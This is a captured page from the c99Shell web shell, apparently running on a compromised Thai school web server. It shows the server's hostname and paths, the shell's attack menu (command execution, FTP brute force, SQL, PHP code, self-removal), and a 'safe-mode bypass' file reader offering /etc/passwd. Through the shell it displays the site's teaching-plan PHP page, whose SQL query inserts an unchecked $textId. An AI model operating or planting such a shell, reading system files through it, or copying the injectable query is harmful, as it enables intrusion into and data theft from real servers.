!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/edu_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailPlanFile.php (7.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS' );

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        require_once( 
"../includes/FunctionDB.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
            
/**  โฟลเดอร์ไฟล์เอกสาร */
        
$doc_path $_Config_live_site."/Plan_pic";
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "formcaroffice";
        
$sql ="SELECT * FROM   tech_text_tb  WHERE  textId ='$textId'  ";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);  
      } 
# else
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    pc.Filetex.src = pc.Filetex.value;
}
</script>
<table width="693" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="693">
          <fieldset>
            <legend></legend>
            <label>
              <form action="EditPlantex.php" method="post" enctype="multipart/form-data" name="pc" id="pc">
                <table width="94%" border="0" align="center" cellpadding="0" cellspacing="2" bgcolor="#CCCCCC" style=" border:0px solid gray"size="12">
                  <tr bgcolor="#eeeeee">
                    <td width="22%" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><span class="style1"><font face="Tahoma">แผนการสอนบท/หัวข้อที่</font></a></span></td>
                    <td width="1%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">*</td>
                    <td width="77%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><label><font color="#993333" size="2" face="Tahoma"><? echo  htmlspecialchars_decode($rs['Filename']); ?></font></label></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">เรื่อง/หัวข้อ ที่สอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#993333" size="2" face="Tahoma"><? echo  htmlspecialchars_decode($rs['Plan_title']); ?></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">กิจกรรมการเรียนการสอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#993333" size="2" face="Tahoma"><? echo  htmlspecialchars_decode($rs['Plan_atty']); ?></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">พฤติกรรมการเรียนรู้</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#993333" size="2" face="Tahoma"><? echo  htmlspecialchars_decode($rs['Plan_resou']); ?></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">วิธีวัดและการประเมินผล</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#993333" size="2" face="Tahoma"><? echo  htmlspecialchars_decode($rs['Plan_stiti']); ?></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">วันที่สอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#993333" face="Tahoma">
<?php
                        
echo "$rs[Date]";
                  
?>
</font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">จำนวนชั่วโมงที่สอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#993333" face="Tahoma">
                    <?php
                        
echo "$rs[Total_now]";
                  
?>
                    </font>
                      เวลา
                    <font color="#993333" face="Tahoma">
                    <?php
                        
echo "$rs[Total_time]";
                  
?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ดาว์โหลดเอกสารการสอน</font></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><span class="PADDING-LEFT-5">
                      <?php if( $rs['Filetex'] != "" ) { ?>
                      <a href="<?=$doc_path;?>/<?=$rs['Filetex'];?>" target="_blank"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rs['Filetex'];?> " width="16" height="16" border="0" /></a>
                      <?php } else { ?>
                      <img src="../images/icons/download_off.png" width="16" height="16" />
                      <?php ?>
                    </span></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                </table>
              </form>
              
            </label>
        </fieldset>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">
      </font></td>
    </tr>
</table>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0139 ]--